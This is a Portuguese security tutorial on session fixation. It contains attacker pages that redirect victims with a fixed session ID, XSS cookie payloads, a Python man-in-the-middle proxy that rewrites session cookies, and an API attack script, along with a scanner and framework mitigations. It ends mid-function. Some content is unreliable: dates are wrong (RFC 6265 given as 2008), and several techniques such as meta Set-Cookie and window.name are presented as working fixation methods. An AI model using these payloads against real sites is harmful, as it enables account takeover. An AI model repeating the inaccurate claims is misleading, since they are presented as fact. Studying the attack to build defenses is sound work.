# Session Fixation

***

## 🔍 **Fundamentos da Session Fixation**

### **O que é Session Fixation?**

**Session Fixation** é um tipo de ataque que explora vulnerabilidades no gerenciamento de sessões, onde um atacante **fixa** um identificador de sessão conhecido (Session ID) no navegador da vítima antes que ela se autentique. Após o login, a sessão mantém o mesmo ID, permitindo que o atacante a utilize para sequestrar a sessão autenticada.

### **Diferença entre Session Fixation e Session Hijacking**

| Aspecto                         | Session Fixation                     | Session Hijacking                   |
| ------------------------------- | ------------------------------------ | ----------------------------------- |
| **Momento do Ataque**           | Antes da autenticação                | Após a autenticação                 |
| **Objetivo**                    | Fixar um ID de sessão conhecido      | Capturar um ID de sessão ativo      |
| **Método**                      | Fornecer ID pré-determinado          | Sniffing, XSS, MITM                 |
| **Conhecimento Prévio**         | Atacante conhece o ID antes do login | Atacante descobre o ID após o login |
| **Necessidade de Autenticação** | Vítima autentica após o ataque       | Vítima já está autenticada          |

### **Contexto Histórico**

```yaml
Evolução do Conhecimento sobre Session Fixation:
  1999: Primeiros relatos documentados
  2002: OWASP inclui no Top 10 (A3 - Broken Authentication)
  2004: Publicação de técnicas avançadas (Cookies vs URL)
  2008: RFC 6265 - Melhores práticas para cookies
  2010: Implementação de regeneração de sessão como padrão
  2013: OWASP recomenda regeneração após login
  2020: Ataques ainda relevantes em aplicações legadas
  2024: Frameworks modernos implementam proteções nativas

Impacto:
  ✅ Frameworks modernos (Django, Rails, Laravel) protegem automaticamente
  ❌ Aplicações personalizadas ainda vulneráveis
  ❌ APIs REST sem gerenciamento adequado de estado
```

### **Comparativo com Ataques Relacionados**

```mermaid
graph TD
    subgraph "Ataques de Sessão"
        A[Session Fixation]
        B[Session Hijacking]
        C[Session Prediction]
        D[Session Replay]
    end
    
    subgraph "Características"
        A --> A1[ID conhecido pré-login]
        B --> B1[ID capturado pós-login]
        C --> C1[ID previsível]
        D --> D1[ID reutilizado]
    end
    
    subgraph "Prevenção"
        A --> A2[Regeneração de ID]
        B --> B2[HttpOnly, Secure, TLS]
        C --> C2[IDs criptograficamente fortes]
        D --> D2[Timeouts, nonce]
    end
    
    style A fill:#ffcccc
    style A2 fill:#ccffcc
```

***

## ⚔️ **Mecanismos de Ataque**

### **Fluxo Básico do Ataque**

```mermaid
sequenceDiagram
    participant A as Atacante
    participant V as Vítima
    participant S as Servidor

    Note over A,S: FASE 1: Preparação
    A->>S: Acessa aplicação
    S-->>A: SessionID = ABC123
    A->>A: Guarda SessionID ABC123

    Note over A,V: FASE 2: Entrega do ID Fixado
    A->>V: Envia link malicioso<br/>https://app.com/?sessionid=ABC123
    
    Note over V,S: FASE 3: Vítima Autentica
    V->>S: Acessa com sessionid=ABC123
    S->>S: Mantém session ABC123
    V->>S: Login com credenciais
    S-->>V: Sessão autenticada (ID = ABC123)

    Note over A,S: FASE 4: Sequestro
    A->>S: Reutiliza SessionID ABC123
    S-->>A: Acesso como vítima autenticada
```

### **Cenário 1: Session Fixation via URL**

```html
<!-- Página do atacante: evil.com/fixation.html -->
<!DOCTYPE html>
<html>
<head>
    <title>Oferta Imperdível!</title>
</head>
<body>
    <h1>Você ganhou um desconto especial!</h1>
    <p>Clique no link abaixo para resgatar seu cupom:</p>
    <a href="https://vulnerable-bank.com/login?sessionid=SID_12345_ATTACKER">
        Resgatar Cupom Agora!
    </a>
    
    <!-- Ou usando JavaScript -->
    <script>
        // Redirecionamento automático
        window.location.href = "https://vulnerable-bank.com/login?sessionid=SID_12345_ATTACKER";
    </script>
</body>
</html>
```

### **Cenário 2: Session Fixation via Cookie Injection**

```html
<!-- Página do atacante: evil.com/cookie-injection.html -->
<!DOCTYPE html>
<html>
<head>
    <title>Cookie Injection</title>
</head>
<body>
    <h1>Redirecionando...</h1>
    
    <script>
        // Tentar definir cookie via meta refresh (alguns browsers)
        // Ou via redirecionamento com Set-Cookie em resposta HTTP
        
        // Método 1: Redirecionamento com cookie via header
        window.location.href = "https://vulnerable-bank.com/login";
        
        // Método 2: Usando iframe para definir cookie
        var iframe = document.createElement('iframe');
        iframe.src = "https://vulnerable-bank.com/set-cookie?sessionid=SID_FIXED";
        iframe.style.display = "none";
        document.body.appendChild(iframe);
        
        setTimeout(function() {
            window.location.href = "https://vulnerable-bank.com/dashboard";
        }, 1000);
    </script>
</body>
</html>
```

### **Cenário 3: Session Fixation via XSS**

```javascript
// Payload XSS para fixar sessão
<script>
    // Definir cookie de sessão via JavaScript
    document.cookie = "sessionid=SID_ATTACKER_123; path=/; domain=vulnerable-bank.com";
    
    // Redirecionar para página de login
    window.location.href = "https://vulnerable-bank.com/login";
</script>

// Ou via document.location
<script>
    document.location = "https://vulnerable-bank.com/login?sessionid=SID_ATTACKER_123";
</script>
```

### **Cenário 4: Session Fixation via Meta Tag**

```html
<!-- Injeção via meta refresh -->
<meta http-equiv="refresh" content="0; url=https://vulnerable-bank.com/login?sessionid=SID_FIXED">

<!-- Ou com cookie via meta http-equiv -->
<meta http-equiv="Set-Cookie" content="sessionid=SID_FIXED; path=/">
```

### **Cenário 5: Session Fixation via MITM (Man-in-the-Middle)**

```python
#!/usr/bin/env python3
# mitm_session_fixation.py - Demonstração educacional

import socket
import threading
import re

class MITMSessionFixation:
    """
    Demonstração de Session Fixation via MITM
    APENAS PARA FINS EDUCACIONAIS
    """
    
    def __init__(self, target_host, target_port=80, listen_port=8080):
        self.target_host = target_host
        self.target_port = target_port
        self.listen_port = listen_port
        self.fixed_session = "SID_ATTACKER_" + self._generate_random()
    
    def _generate_random(self):
        """Gerar ID aleatório para fixação"""
        import random
        import string
        return ''.join(random.choices(string.ascii_letters + string.digits, k=16))
    
    def start(self):
        """Iniciar proxy MITM"""
        print(f"🚨 Iniciando MITM Session Fixation")
        print(f"   Escutando em: 0.0.0.0:{self.listen_port}")
        print(f"   Redirecionando para: {self.target_host}:{self.target_port}")
        print(f"   Session ID fixado: {self.fixed_session}")
        
        server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
        server.bind(('0.0.0.0', self.listen_port))
        server.listen(5)
        
        while True:
            client_sock, addr = server.accept()
            print(f"📡 Conexão recebida de {addr}")
            threading.Thread(target=self._handle_client, args=(client_sock,)).start()
    
    def _handle_client(self, client_sock):
        """Manipular cliente e injetar sessão"""
        # Conectar ao servidor real
        server_sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        server_sock.connect((self.target_host, self.target_port))
        
        # Criar threads para bidirecional
        threading.Thread(target=self._forward, args=(client_sock, server_sock, True)).start()
        threading.Thread(target=self._forward, args=(server_sock, client_sock, False)).start()
    
    def _forward(self, source, dest, is_client_to_server):
        """Encaminhar dados e injetar session fixation"""
        while True:
            try:
                data = source.recv(4096)
                if not data:
                    break
                
                # Se for resposta do servidor para cliente, modificar
                if not is_client_to_server:
                    data = self._inject_session(data)
                
                dest.send(data)
                
            except:
                break
        
        source.close()
        dest.close()
    
    def _inject_session(self, data):
        """Injetar session fixation na resposta"""
        try:
            decoded = data.decode('utf-8', errors='ignore')
            
            # Injetar cookie de sessão fixado
            if 'Set-Cookie' in decoded:
                # Substituir ou adicionar cookie
                import re
                pattern = r'(Set-Cookie:.*?sessionid=[^;]+)'
                replacement = f'Set-Cookie: sessionid={self.fixed_session}; HttpOnly; Secure'
                decoded = re.sub(pattern, replacement, decoded)
            elif '<head>' in decoded or '<html>' in decoded:
                # Injetar via meta tag
                meta = f'<meta http-equiv="Set-Cookie" content="sessionid={self.fixed_session}; path=/">'
                decoded = decoded.replace('<head>', f'<head>{meta}')
            
            return decoded.encode('utf-8')
            
        except:
            return data

# Nota: Este código é APENAS para testes autorizados em laboratório
```

***

## 🎯 **Vetores de Exploração**

### **Matriz de Vetores de Ataque**

| Vetor                | Descrição                             | Dificuldade | Prevenção                |
| -------------------- | ------------------------------------- | ----------- | ------------------------ |
| **URL Parameters**   | Session ID via query string           | Baixa       | Não usar URL para sessão |
| **Cookie Injection** | Definir cookie via JavaScript         | Média       | HttpOnly, regeneração    |
| **XSS**              | Injeção de script para definir cookie | Média       | CSP, sanitização         |
| **MITM**             | Interceptação e injeção               | Alta        | TLS, HSTS                |
| **Meta Refresh**     | Redirecionamento com session ID       | Baixa       | Validação de origem      |
| **Form POST**        | Formulário oculto com session ID      | Baixa       | CSRF tokens              |
| **Iframe**           | Carregamento em iframe para fixar     | Média       | X-Frame-Options          |
| **Open Redirect**    | Redirecionamento para URL maliciosa   | Baixa       | Validação de redirects   |

### **Técnicas Avançadas de Fixação**

```javascript
// Técnica 1: Fixação via Window.name
<script>
    // O atributo window.name persiste entre navegações
    window.name = "sessionid=SID_ATTACKER_123";
    window.location = "https://vulnerable-bank.com/login";
</script>

// Técnica 2: Fixação via localStorage/sessionStorage
<script>
    // Definir no storage
    localStorage.setItem("sessionid", "SID_ATTACKER_123");
    sessionStorage.setItem("sessionid", "SID_ATTACKER_123");
    
    // Redirecionar
    window.location = "https://vulnerable-bank.com/login";
</script>

// Técnica 3: Fixação via Service Worker
<script>
    // Registrar service worker que intercepta requisições
    navigator.serviceWorker.register('/evil-sw.js').then(() => {
        // O service worker pode adicionar headers de sessão
        window.location = "https://vulnerable-bank.com/login";
    });
</script>

// Técnica 4: Fixação via WebSocket
<script>
    // WebSocket pode estabelecer sessão fixada
    const ws = new WebSocket("wss://vulnerable-bank.com/ws");
    ws.onopen = () => {
        ws.send("SET_SESSION:SID_ATTACKER_123");
        window.location = "https://vulnerable-bank.com/login";
    };
</script>
```

### **Exploração de Aplicações REST/API**

```python
#!/usr/bin/env python3
# api_session_fixation.py - Session Fixation em APIs

import requests
import threading
import time

class APISessionFixation:
    """Demonstração de Session Fixation em APIs"""
    
    def __init__(self, base_url):
        self.base_url = base_url
        self.fixed_token = self._generate_token()
    
    def _generate_token(self):
        """Gerar token para fixação"""
        import hashlib
        import time
        return hashlib.md5(f"attacker_{time.time()}".encode()).hexdigest()
    
    def attack_flow(self):
        """Executar fluxo de ataque"""
        print(f"🚨 Session Fixation Attack - API")
        print(f"   Token fixado: {self.fixed_token}")
        
        # Passo 1: Atacante obtém token
        attacker_session = self._get_session(self.fixed_token)
        print(f"   1. Atacante obteve sessão: {attacker_session}")
        
        # Passo 2: Forçar vítima a usar o token
        print(f"   2. Enviar link para vítima:")
        print(f"      {self.base_url}/login?token={self.fixed_token}")
        
        # Passo 3: Vítima autentica (simulado)
        victim_auth = self._authenticate_victim(self.fixed_token)
        print(f"   3. Vítima autenticada com token fixado")
        
        # Passo 4: Atacante acessa com token fixado
        attacker_access = self._access_as_victim(self.fixed_token)
        print(f"   4. Atacante acessa como vítima: {attacker_access}")
        
        return attacker_access
    
    def _get_session(self, token):
        """Obter sessão com token específico"""
        try:
            response = requests.get(
                f"{self.base_url}/api/session",
                params={"token": token},
                timeout=5
            )
            return response.json() if response.status_code == 200 else None
        except:
            return None
    
    def _authenticate_victim(self, token):
        """Simular autenticação da vítima"""
        try:
            # Vítima autentica com o token fixado
            response = requests.post(
                f"{self.base_url}/api/login",
                json={
                    "username": "victim",
                    "password": "victim_password",
                    "token": token
                },
                timeout=5
            )
            return response.status_code == 200
        except:
            return False
    
    def _access_as_victim(self, token):
        """Atacante acessa como vítima"""
        try:
            response = requests.get(
                f"{self.base_url}/api/profile",
                headers={"Authorization": f"Bearer {token}"},
                timeout=5
            )
            return response.json() if response.status_code == 200 else None
        except:
            return None

# Uso (laboratório)
# attack = APISessionFixation("https://vulnerable-api.com")
# attack.attack_flow()
```

***

## 🔎 **Identificação e Detecção**

### **Indicadores de Vulnerabilidade**

```yaml
Indicadores de Aplicações Vulneráveis:

  🚩 Sessão não regenerada após login:
    - Session ID mantém mesmo valor antes e depois da autenticação
    - Ausência de chamada a session_regenerate_id() em PHP
    - Ausência de request.session.cycle_key() em Django
    - Ausência de reset_session() em Rails

  🚩 Session ID exposto na URL:
    - Parâmetros como ?sessionid=, ?PHPSESSID=, ?JSESSIONID=
    - Session ID em links e redirecionamentos
    - URLs compartilháveis contendo identificador de sessão

  🚩 Cookies sem flags de segurança:
    - HttpOnly ausente (permitindo acesso via JavaScript)
    - Secure ausente (enviado via HTTP)
    - SameSite não configurado

  🚩 Aceitação de Session ID por múltiplos métodos:
    - Aceita tanto cookie quanto parâmetro URL
    - Prioridade confusa entre diferentes fontes
```

### **Metodologia de Teste Manual**

```python
#!/usr/bin/env python3
# session_fixation_scanner.py - Scanner de Session Fixation

import requests
import re
import sys
from urllib.parse import urljoin

class SessionFixationScanner:
    """Scanner para detectar vulnerabilidades de Session Fixation"""
    
    def __init__(self, base_url, login_endpoint, credentials):
        self.base_url = base_url
        self.login_endpoint = login_endpoint
        self.credentials = credentials
        self.session = requests.Session()
        self.vulnerabilities = []
    
    def scan(self):
        """Executar scan completo"""
        print(f"🔍 Escaneando {self.base_url} para Session Fixation")
        print("=" * 60)
        
        # Teste 1: Sessão via URL
        self._test_url_session()
        
        # Teste 2: Regeneração de sessão
        self._test_session_regeneration()
        
        # Teste 3: Aceitação de múltiplos métodos
        self._test_multiple_methods()
        
        # Teste 4: Persistência do session ID
        self._test_session_persistence()
        
        # Teste 5: Cookie flags
        self._test_cookie_flags()
        
        self._print_report()
    
    def _test_url_session(self):
        """Testar se session ID é aceito via URL"""
        print("\n📋 Teste 1: Session ID via URL")
        
        test_session = "FIXATION_TEST_" + self._random_string(16)
        
        try:
            # Tentar acessar com session ID na URL
            url = urljoin(self.base_url, f"?sessionid={test_session}")
            response = self.session.get(url)
            
            # Verificar se o session ID foi aceito
            if test_session in response.text or test_session in self.session.cookies.get_dict().values():
                self.vulnerabilities.append({
                    'type': 'URL_SESSION',
                    'severity': 'HIGH',
                    'details': f'Session ID aceito via URL: {test_session}'
                })
                print(f"   ⚠️  Vulnerável! Session ID via URL foi aceito")
            else:
                print(f"   ✅ Session ID via URL foi ignorado")
                
        except Exception as e:
            print(f"   ❌ Erro: {e}")
    
    def _test_session_regeneration(self):
        """Testar se a sessão é regenerada após login"""
        print("\n📋 Teste 2: Regeneração de Sessão")
        
        try:
            # Obter session ID antes do login
            pre_login_response = self.session.get(self.base_url)
            pre_login_session = self._extract_session_id(pre_login_response.cookies)
            
            if not pre_login_session:
                print("   ⚠️  Não foi possível obter session ID antes do login")
                return
            
            print(f"   Session ID antes do login: {pre_login_session}")
            
            # Realizar login
            login_response = self.session.post(
                urljoin(self.base_url, self.login_endpoint),
                data=self.credentials
            )
            
            # Obter session ID após o login
            post_login_session = self._extract_session_id(self.session.cookies)
            
            print(f"   Session ID após o login: {post_login_session}")
            
            # Verificar se o session ID mudou
            if pre_login_session == post_login_session:
                self.vulnerabilities.append({
                    'type': 'NO_REGENERATION',
                    'severity': 'CRITICAL',
                    'details': 'Session ID não foi regenerado após login'
                })
                print(f"   ⚠️  CRÍTICO! Session ID não foi regenerado")
            else:
                print(f"   ✅ Session ID foi regenerado corretamente")
                
        except Exception as e:
            print(f"   ❌ Erro: {e}")
    
    def _test_multiple_methods(self):
        """Testar aceitação de session ID por múltiplos métodos"""
        print("\n📋 Teste 3: Múltiplos Métodos de Sessão")
        
        test_session = "MULTI_TEST_" + self._random_string(16)
        
        try:
            # Tentar via URL
            url_response = self.session.get(
                urljoin(self.base_url, f"?sessionid={test_session}")
            )
            
            # Tentar via cookie
            cookies = {'sessionid': test_session}
            cookie_response = self.session.get(self.base_url, cookies=cookies)
            
            # Tentar via header
            headers = {'X-Session-ID': test_session}
            header_response = self.session.get(self.base_url, headers=headers)
            
            accepted_methods = []
            
            if test_session in url_response.text or test_session in url_response.cookies.get_dict().values():
                accepted_methods.append('URL')
            
            if test_session in cookie_response.cookies.get_dict().values():
                accepted_methods.append('Cookie')
            
            if accepted_methods:
                self.vulnerabilities.append({
                    'type': 'MULTIPLE_METHODS',
                    'severity': 'MEDIUM',
                    'details': f'Session ID aceito via: {", ".join(accepted_methods)}'
                })
                print(f"   ⚠️  Session ID aceito via: {', '.join(accepted_methods)}")
            else:
                print(f"   ✅ Session ID não aceito por múltiplos métodos")
                
        except Exception as e:
            print(f"   ❌ Erro: {e}")
    
    def _test_session_persistence(self):
        """Testar persistência do session ID após logout"""
        print("\n📋 Teste 4: Persistência Pós-Logout")
        
        try:
            # Login
            self.session.post(
                urljoin(self.base_url, self.login_endpoint),
                data=self.credentials
            )
            
            # Obter session ID após login
            logged_session = self._extract_session_id(self.session.cookies)
            
            if not logged_session:
                print("   ⚠️  Não foi possível obter session ID")
                return
            
            # Logout
            logout_response = self.session.get(urljoin(self.base_url, '/logout'))
            
            # Tentar reutilizar o mesmo session ID
            self.session.cookies.clear()
            self.session.cookies.set('sessionid', logged_session)
            
            protected_response = self.session.get(urljoin(self.base_url, '/profile'))
            
            if protected_response.status_code == 200:
                self.vulnerabilities.append({
                    'type': 'SESSION_PERSISTENCE',
                    'severity': 'HIGH',
                    'details': f'Session ID {logged_session} permanece válido após logout'
                })
                print(f"   ⚠️  Session ID permanece válido após logout!")
            else:
                print(f"   ✅ Session ID invalidado após logout")
                
        except Exception as e:
            print(f"   ❌ Erro: {e}")
    
    def _test_cookie_flags(self):
        """Testar flags de segurança dos cookies"""
        print("\n📋 Teste 5: Flags de Segurança do Cookie")
        
        try:
            response = self.session.get(self.base_url)
            cookies = response.cookies
            
            missing_flags = []
            
            for cookie in cookies:
                if not cookie.secure:
                    missing_flags.append(f"{cookie.name}: Secure")
                if not cookie.has_nonstandard_attr('HttpOnly'):
                    missing_flags.append(f"{cookie.name}: HttpOnly")
                if not cookie.has_nonstandard_attr('SameSite'):
                    missing_flags.append(f"{cookie.name}: SameSite")
            
            if missing_flags:
                self.vulnerabilities.append({
                    'type': 'MISSING_COOKIE_FLAGS',
                    'severity': 'MEDIUM',
                    'details': f'Flags ausentes: {", ".join(missing_flags)}'
                })
                print(f"   ⚠️  Flags ausentes:")
                for flag in missing_flags:
                    print(f"      - {flag}")
            else:
                print(f"   ✅ Todas as flags de segurança configuradas")
                
        except Exception as e:
            print(f"   ❌ Erro: {e}")
    
    def _extract_session_id(self, cookies):
        """Extrair session ID dos cookies"""
        session_names = ['sessionid', 'PHPSESSID', 'JSESSIONID', 'ASP.NET_SessionId', 'sid']
        
        for cookie in cookies:
            if cookie.name.lower() in session_names:
                return cookie.value
        
        return None
    
    def _random_string(self, length):
        """Gerar string aleatória"""
        import random
        import string
        return ''.join(random.choices(string.ascii_letters + string.digits, k=length))
    
    def _print_report(self):
        """Imprimir relatório de vulnerabilidades"""
        print("\n" + "=" * 60)
        print("📊 RELATÓRIO DE SESSION FIXATION")
        print("=" * 60)
        
        if not self.vulnerabilities:
            print("✅ Nenhuma vulnerabilidade de Session Fixation encontrada")
            return
        
        print(f"⚠️  {len(self.vulnerabilities)} vulnerabilidade(s) encontrada(s):\n")
        
        for vuln in self.vulnerabilities:
            severity_color = {
                'CRITICAL': '🔴',
                'HIGH': '🟠',
                'MEDIUM': '🟡',
                'LOW': '🔵'
            }.get(vuln['severity'], '⚪')
            
            print(f"{severity_color} [{vuln['severity']}] {vuln['type']}")
            print(f"   {vuln['details']}\n")

# Uso
if __name__ == "__main__":
    if len(sys.argv) < 4:
        print("Uso: session_fixation_scanner.py <url> <login_endpoint> <username> <password>")
        sys.exit(1)
    
    scanner = SessionFixationScanner(
        base_url=sys.argv[1],
        login_endpoint=sys.argv[2],
        credentials={'username': sys.argv[3], 'password': sys.argv[4]}
    )
    scanner.scan()
```

***

## 💥 **Impacto e Consequências**

### **Matriz de Impacto**

```yaml
Impacto da Session Fixation:

  🔴 CRÍTICO:
    - Sequestro total de conta do usuário
    - Acesso a informações sensíveis (dados bancários, saúde)
    - Execução de ações em nome do usuário
    - Comprometimento de contas administrativas
    - Escalação de privilégios

  🟠 ALTO:
    - Acesso a dados pessoais
    - Modificação de perfil/email/senha
    - Realização de transações financeiras
    - Exposição de informações confidenciais

  🟡 MÉDIO:
    - Visualização de informações não autorizadas
    - Postagem em nome do usuário
    - Acesso a funcionalidades limitadas

  🔵 BAIXO:
    - Coleta de informações de navegação
    - Tracking de comportamento do usuário
```

### **Cadeia de Ataque Completa**

```mermaid
graph TD
    A[Atacante define Session ID] --> B[Entrega via Phishing/XSS/URL]
    B --> C[Vítima clica no link]
    C --> D[Vítima autentica com ID fixado]
    D --> E[Servidor aceita ID fixado]
    E --> F[Atacante utiliza mesmo ID]
    F --> G[Acesso não autorizado]
    
    subgraph "Consequências"
        G --> H1[Roubo de dados]
        G --> H2[Transações fraudulentas]
        G --> H3[Escalação de privilégios]
        G --> H4[Persistência na conta]
    end
    
    style A fill:#ffcccc
    style G fill:#ff9999
```

***

## 🛡️ **Mitigações e Correção**

### **Estratégias de Defesa em Camadas**

```mermaid
graph LR
    subgraph "Camada 1: Gerenciamento de Sessão"
        A[Regenerar Session ID após login]
        B[Session ID aleatório e longo]
        C[Timeout de sessão]
    end
    
    subgraph "Camada 2: Cookies"
        D[HttpOnly Flag]
        E[Secure Flag]
        F[SameSite=Strict/Lax]
    end
    
    subgraph "Camada 3: Validação"
        G[Validar origem da sessão]
        H[User-Agent fingerprint]
        I[IP binding opcional]
    end
    
    subgraph "Camada 4: Infraestrutura"
        J[TLS obrigatório]
        K[HSTS]
        L[X-Frame-Options]
    end
    
    A --> D --> G --> J
    B --> E --> H --> K
    C --> F --> I --> L
```

### **Implementação Segura - Backend**

#### **PHP**

```php
<?php
// session_fixation_prevention.php
session_start();

// 1. Regenerar session ID após login bem-sucedido
function secure_login($username, $password) {
    if (authenticate_user($username, $password)) {
        // Regenerar session ID para prevenir fixation
        session_regenerate_id(true);
        
        // Armazenar dados da sessão
        $_SESSION['user_id'] = $user_id;
        $_SESSION['login_time'] = time();
        $_SESSION['ip_address'] = $_SERVER['REMOTE_ADDR'];
        $_SESSION['user_agent'] = $_SERVER['HTTP_USER_AGENT'];
        
        return true;
    }
    return false;
}

// 2. Configuração segura de cookies de sessão
ini_set('session.cookie_httponly', 1);     // HttpOnly
ini_set('session.cookie_secure', 1);       // Secure (requer HTTPS)
ini_set('session.cookie_samesite', 'Strict'); // SameSite
ini_set('session.use_strict_mode', 1);     // Rejeitar session IDs não iniciadas
ini_set('session.use_only_cookies', 1);    // Não aceitar session ID via URL

// 3. Validação adicional de sessão
function validate_session() {
    if (!isset($_SESSION['user_id'])) {
        return false;
    }
    
    // Verificar fingerprint
    if ($_SESSION['ip_address'] !== $_SERVER['REMOTE_ADDR']) {
        session_regenerate_id(true);
        return false;
    }
    
    if ($_SESSION['user_agent'] !== $_SERVER['HTTP_USER_AGENT']) {
        session_regenerate_id(true);
        return false;
    }
    
    // Verificar timeout (30 minutos)
    if (time() - $_SESSION['login_time'] > 1800) {
        session_destroy();
        return false;
    }
    
    return true;
}

// 4. Logout seguro
function secure_logout() {
    $_SESSION = array();
    
    if (ini_get("session.use_cookies")) {
        $params = session_get_cookie_params();
        setcookie(
            session_name(),
            '',
            time() - 42000,
            $params["path"],
            $params["domain"],
            $params["secure"],
            $params["httponly"]
        );
    }
    
    session_destroy();
}
?>
```

#### **Python (Django)**

```python
# settings.py - Configuração segura de sessão

# Forçar HTTPS
SESSION_COOKIE_SECURE = True

# HttpOnly
SESSION_COOKIE_HTTPONLY = True

# SameSite
SESSION_COOKIE_SAMESITE = 'Strict'

# Regenerar sessão no login
# Django já faz isso automaticamente quando LOGIN_REDIRECT_URL é usado
# Mas pode ser customizado:

# views.py
from django.contrib.auth import login
from django.contrib.auth.decorators import login_required
from django.views.decorators.csrf import csrf_protect

@csrf_protect
def custom_login(request):
    if request.method == 'POST':
        user = authenticate(
            username=request.POST['username'],
            password=request.POST['password']
        )
        if user is not None:
            # Django regenera automaticamente o session key no login
            login(request, user)
            
            # Configurar fingerprint adicional
            request.session['ip_address'] = request.META.get('REMOTE_ADDR')
            request.session['user_agent'] = request.META.get('HTTP_USER_AGENT')
            
            return redirect('dashboard')
    return render(request, 'login.html')

# Middleware para validação de sessão
class SessionValidationMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response
    
    def __call__(self, request):
        if request.user.is_authenticated:
            # Verificar fingerprint
            if request.session.get('ip_address') != request.META.get('REMOTE_ADDR'):
                request.session.flush()
                return redirect('login')
            
            if request.session.get('user_agent') != request.META.get('HTTP_USER_AGENT'):
                request.session.flush()
                return redirect('login')
        
        return self.get_response(request)
```

#### **Node.js (Express)**

```javascript
// session_fixation_prevention.js
const express = require('express');
const session = require('express-session');
const crypto = require('crypto');

const app = express();

// Configuração segura de sessão
app.use(session({
    name: 'sessionId',
    secret: crypto.randomBytes(64).toString('hex'),
    resave: false,
    saveUninitialized: false,
    cookie: {
        httpOnly: true,
        secure: true,
        sameSite: 'strict',
        maxAge: 30 * 60 * 1000  // 30 minutos
    }
}));

// Middleware de regeneração de sessão no login
app.post('/login', async (req, res) => {
    const { username, password } = req.body;
    
    // Autenticar usuário
    const user = await authenticate(username, password);
    
    if (user) {
        // Regenerar session ID
        req.session.regenerate((err) => {
            if (err) {
                return res.status(500).send('Erro ao criar sessão');
            }
            
            // Armazenar dados
            req.session.userId = user.id;
            req.session.loginTime = Date.now();
            req.session.ipAddress = req.ip;
            req.session.userAgent = req.get('User-Agent');
            
            res.redirect('/dashboard');
        });
    } else {
        res.status(401).send('Credenciais inválidas');
    }
});

// Middleware de validação de sessão
function validateSession(req, res, next) {
    if (!req.session.userId) {
        return res.redirect('/login');
    }
    
    // Verificar timeout
    if (Date.now() - req.session.loginTime > 30 * 60 * 1000) {
        req.session.destroy();
        return res.redirect('/login');
    }
    
    // Verificar fingerprint
    if (req.session.ipAddress !== req.ip) {
        req.session.destroy();
        return res.redirect('/login');
    }
    
    if (req.session.userAgent !== req.get('User-Agent')) {
        req.session.destroy();
        return res.redirect('/login');
    }
    
    next();
}

// Logout seguro
app.get('/logout', (req, res) => {
    req.session.destroy((err) => {
        if (err) {
            console.error('Erro ao destruir sessão:', err);
        }
        res.redirect('/login');
    });
});

// Aplicar middleware de validação
app.use('/dashboard', validateSession);
app.use('/profile', validateSession);
```

#### **Java (Spring Boot)**

```java
// SecurityConfig.java - Configuração segura
@Configuration
@EnableWebSecurity
public class SecurityConfig extends WebSecurityConfigurerAdapter {
    
    @Override
    protected void configure(HttpSecurity http) throws Exception {
        http
            .sessionManagement()
                .sessionFixation().migrateSession()  // Regenera session ID
                .maximumSessions(1)
                .expiredUrl("/login?expired")
                .and()
            .and()
            .headers()
                .httpStrictTransportSecurity()
                .includeSubDomains(true)
                .maxAgeInSeconds(31536000)
                .and()
                .frameOptions()
                .sameOrigin()
                .and()
                .contentTypeOptions()
                .and()
                .xssProtection()
                .block(true);
    }
    
    // Configuração de cookie
    @Bean
    public CookieSerializer cookieSerializer() {
        DefaultCookieSerializer serializer = new DefaultCookieSerializer();
        serializer.setCookieName("SESSIONID");
        serializer.setCookiePath("/");
        serializer.setDomainNamePattern("^.+?\\.(\\w+\\.[a-z]+)$");
        serializer.setUseSecureCookie(true);      // Secure flag
        serializer.setUseHttpOnlyCookie(true);    // HttpOnly flag
        serializer.setSameSite("Strict");         // SameSite
        return serializer;
    }
    
    // Logout seguro
    @Bean
    public SecurityContextLogoutHandler logoutHandler() {
        SecurityContextLogoutHandler handler = new SecurityContextLogoutHandler();
        handler.setInvalidateHttpSession(true);
        handler.setClearAuthentication(true);
        return handler;
    }
}
```

### **Configuração de Headers de Segurança**

```nginx
# nginx.conf - Headers de segurança

server {
    listen 443 ssl http2;
    server_name exemplo.com;
    
    # Headers de segurança
    add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    add_header X-Frame-Options "DENY" always;
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-XSS-Protection "1; mode=block" always;
    add_header Content-Security-Policy "default-src 'self'; frame-ancestors 'none';" always;
    
    # Configuração de cookies
    proxy_cookie_path / "/; HttpOnly; Secure; SameSite=Strict";
    
    # Forçar HTTPS
    if ($scheme != "https") {
        return 301 https://$host$request_uri;
    }
}
```

***

## 🔧 **Pentesting e Auditoria**

### **Metodologia de Teste**

```yaml
Fases do Teste de Session Fixation:

  FASE 1 - Reconhecimento:
    - Identificar mecanismo de gerenciamento de sessão
    - Verificar onde o session ID é transmitido (URL, cookie, header)
    - Analisar flags de segurança dos cookies
    - Mapear endpoints de login/logout

  FASE 2 - Coleta de Sessão:
    - Obter session ID antes da autenticação
    - Verificar se o ID é previsível
    - Testar se o ID é aceito via diferentes métodos

  FASE 3 - Autenticação:
    - Realizar login com session ID pré-definido
    - Verificar se o ID é regenerado após login
    - Testar persistência do ID antigo

  FASE 4 - Validação:
    - Tentar reutilizar o session ID pré-autenticação
    - Verificar se a sessão é válida após logout
    - Testar fingerprint de sessão (IP, User-Agent)

  FASE 5 - Exploração:
    - Criar PoC (Proof of Concept)
    - Documentar impacto e vetores de ataque
    - Recomendar mitigações
```

### **Script de Teste Automatizado**

```python
#!/usr/bin/env python3
# session_fixation_tester.py - Teste automatizado de Session Fixation

import requests
import time
import re
import sys
from urllib.parse import urljoin

class SessionFixationTester:
    """Ferramenta de teste automatizado para Session Fixation"""
    
    def __init__(self, base_url, login_data):
        self.base_url = base_url
        self.login_data = login_data
        self.session = requests.Session()
        self.results = []
    
    def run_tests(self):
        """Executar todos os testes"""
        print(f"🔍 Iniciando testes de Session Fixation em {self.base_url}")
        print("=" * 70)
        
        # Teste 1: Coleta de session ID pré-autenticação
        session_id = self._test_pre_auth_session()
        
        # Teste 2: Tentativa de fixação
        if session_id:
            self._test_fixation(session_id)
        
        # Teste 3: Regeneração de sessão
        self._test_regeneration()
        
        # Teste 4: Persistência pós-logout
        self._test_post_logout()
        
        # Teste 5: Cookie flags
        self._test_cookie_security()
        
        # Relatório
        self._print_report()
    
    def _test_pre_auth_session(self):
        """Testar obtenção de session ID pré-autenticação"""
